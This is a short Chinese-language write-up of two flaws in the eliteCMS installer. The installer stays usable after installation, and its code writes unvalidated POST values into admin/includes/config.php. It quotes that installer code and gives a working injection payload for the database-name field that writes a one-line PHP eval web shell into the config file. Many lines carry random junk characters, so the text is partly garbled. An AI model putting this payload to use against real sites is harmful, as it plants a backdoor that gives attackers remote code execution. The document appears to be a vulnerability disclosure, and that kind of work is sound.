eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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2 o  R( f5 Y0 t" L0 I2 H+ A另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
$ D- D7 c$ I1 w4 f  H我们来看代码：

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elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
1 D% Z8 D, Y5 E! K( \' P0 |& g    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
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    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
2 F6 u; o4 g" u( n: W$ ?    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
0 A1 B+ m) D- A3 U' |" l2 T& r4 W    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 F( P/ o6 D# g- ?    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
! j( ^/ f( V  {2 z% {7 b' ]    $write .= "        \n";
9 V8 S* D( h; S- x8 @! E    $write .= "} \n";
    $write .= "?>\n";

5 d  b& a1 l1 |: m    $writer = fopen($file, 'w');
...
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: @6 k6 [3 b' G; G6 F" D在看代码：
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) p) [/ X6 J0 Q" [3 o$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! Z  C( K$ V" D. `- Z: G$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
) ~$ I5 v& e3 G6 C4 P) Z( ~$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

0 D. q' ~2 {( {3 Z"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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